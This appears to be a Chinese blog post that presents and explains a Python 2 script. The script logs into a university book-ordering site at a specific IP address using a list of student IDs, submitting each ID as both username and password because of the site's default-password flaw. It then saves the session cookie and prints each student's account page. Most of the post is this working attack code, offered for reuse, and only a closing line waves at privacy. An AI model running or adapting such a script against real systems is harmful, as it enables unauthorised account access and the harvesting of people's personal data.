上次介绍了使用PHP结合curl库来抓取成绩,其实用Python脚本也能完成类似的任务,而且完成的很漂亮。我越来越喜欢Python了 呵呵 这次下手的目标是学校的书籍订购站点,这个系统存在这一个巨大的漏洞——所有用户默认学号和密码是相同的。因此我用它来练习下信息抓取。 这次先放上代码,下面是Python代码:

import urllib,urllib2,cookielib
import re
f = open("字典地址","r")
username = f.readline().rstrip()
txt_last = ""
while username != '':
	a = cookielib.CookieJar()
	b = urllib2.build_opener(urllib2.HTTPCookieProcessor(a))
	urllib2.install_opener(b)
	dust1 = 'http://211.82.90.56:8080/caubook/TeacherLog.aspx?'+\
                      '__VIEWSTATE=%2FwEPDwUKMTk4Njc5NTU4Mg9kFgICAw9kFgICBw8PZBY'+\
                      'CHgdvbmNsaWNrBSdpZih0aGlzLmRpc2FibGVkPT1mYWxzZSl7cmV'+\
                      '0dXJuICBiYygpO31kZP%2B9YQS1SQoVhX0gctevArgHvY9U&Tbusername;='
	dust2 = username
	dust3 = '&Tbuserpwd;='
	dust4 = username
	dust5 = '&RadioButtonList1;=%E5%AD%A6%E7%94%9F&Button1;=%E7%A1%AE%E8%AE%A4&__EVENTVALIDATION'+\
                      '=%2FwEWBwKZqo6EDgKS6L7%2FCwK1gprrAQLo4%'+\
                     '2BrNDQLN7c0VAveMotMNAoznisYGXMvRojLDcm7L2wkg34m0QFH3k5c%3D'
	response=urllib2.urlopen(dust1+dust2+dust3+dust4+dust5)
	next = urllib2.urlopen('http://211.82.90.56:8080/caubook/Student/StuAna1.aspx')
	#print next.read()
	txt = next.read()
	if(txt != txt_last):
		txt_last = txt
		#txt = re.compile(r'< [^>]+>').sub('',txt)
		print txt
	username = f.readline().rstrip()

第三、四行的作用是打开一个文件,这个文件是作为字典使用的,每一行都是一个学号。这个学号将被读取进入程序并且作为用户名和密码被提交(因为系统默认用户名和密码是相同的)。 下面说下程序关键地方,dust(呵呵我比较喜欢给变量取一些诡异的名字^^ 毕竟是自己使用的脚本,也没几行,能用就行了,没必要遵守那么多规范了)1-5是用来拼凑提交URL的字符串片段。这个可以通过分析网页的HTML的POST部分结合抓包来获取——也就是说,只要在浏览器中输入dust1+dust2+dust3+dust4+dust5链接成的网址,就必须能够正常登录系统才行。这个书籍订阅系统存在一大堆乱七八糟的代码,我不会asp.net也不知道为什么要提交这些....我们只需要关注下&Tbusername;=和&Tbuserpwd;=后面跟的参数就行了——一个是用户名一个是密码,当然都是学号。我们需要用

response=urllib2.urlopen(dust1+dust2+dust3+dust4+dust5)

来提交这个网址 我们提交完后会返回一个cookie,我以前不知道如何保存这个cookie,在Python中,我们只需要先设定

a = cookielib.CookieJar()

再执行

b = urllib2.build_opener(urllib2.HTTPCookieProcessor(a)) urllib2.install_opener(b)

就可以让程序自动保存后面提交后返回的cookie了。 通过上面的介绍,我们已经实现了模拟浏览器提交,并保存好返回cookie的任务,下面我们只需要在存在cookie的情况下(也就是在登录系统后)访问我们想要查看的页面就行了。后面的代码就是干这个用的。

综上,简单的几行代码我们就轻松实现了模拟登录及cookie保存,我们可以用它完成更多的任务。 我这次的任务就是抓取资料,所以后面的就不多谈了,大家自己研究吧:)

P.S. 抓取资料时请尊重别人隐私以及不要破坏他人资料。违者责任自负。